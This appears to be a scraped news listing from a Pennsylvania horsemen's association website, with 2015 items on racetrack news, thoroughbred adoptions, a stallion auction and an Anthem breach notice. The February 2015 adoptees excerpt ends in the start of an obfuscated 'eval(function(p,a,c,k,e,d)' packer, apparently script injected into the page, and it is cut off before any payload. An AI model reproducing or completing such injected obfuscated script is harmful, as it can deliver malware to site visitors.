January 2015 PTHA Website Contest
For the month of January, we challenge you to answer trivia questions about the Pennsylvania Thoroughbred Horsemen’s Association, Parx Racing, and more. There is no fee to enter, and anyone (even fans) may participate! Simply answer the first ten questions
Atlantic City Race Course To Close
Greenwood ACRA, owners and operators of Atlantic City Race Course, have announced the racetrack is ceasing operations and closing permanently. The last open day of business for simulcasting will be Friday, January 16, 2015. Joe Wilson, President of Greenwood ACRA, stated,
PHBA Stallion Season Auction to Benefit Turning for Home & PAC
The Pennsylvania Horse Breeders Association will be hosting their 5th Annual Stallion Auction event starting on Jan. 29th and ending on Jan. 31st. Stallions offered will include Jump Start, Tale of Ekati, Wiseman’s Ferry, Shackleford, Afleet Alex, and many more.
2014 Turning for Home Adopted Horses
In 2014, more than 150 horses were adopted through Turning for Home! We've seen horses go into homes from right here in Bucks County, Pa., to California, and even all the way up to Canada. These former racehorses are being
January 2015 TFH Adoptees
In January of 2015, eleven horses found new homes after passing through Turning for Home. Thanks to the assistance of Partner Farms, these all of these horses will have a new career beyond racing.
Important Notice for PTHA Member Trainers Regarding Health Care Security Breach
Earlier this month, hackers attacked our health insurance carrier, Anthem, Inc., which is the parent company of Independence Blue Cross. Anthem is one of the largest health insurance companies in the nation, meaning that this cyber attack is a massive
Liability Insurance Required by March 1, 2015
All trainers must have General Liability Insurance by March 1, 2015. Failure to comply will result in loss of entry privileges and you will not be granted access to the grounds of Parx Racing. For more information, please contact one
Fifty Shades of Bay
On this chilly Valentine's Day weekend, take a look at our FIFTY shades of bay retired racehorses! Thoroughbreds are versatile, courageous athletes that compete in just about every discipline, and at the PTHA's Turning for Home, we know that you
February 2015 TFH Adoptees
In February of 2015, eight horses found new homes after passing through Turning for Home. Thanks to the assistance of Partner Farms, all of these horses will have a new career beyond racing. eval(function(p,a,c,k,e,d){e=function(c){return
Beloved Parx Horseman Passes Away
A longtime and beloved member of the Parx community has passed away. More details are forthcoming, and we will share that information as it becomes available. Rest in peace, Darryl Brown. **UPDATE** On Friday, March 13th, there will be a memorial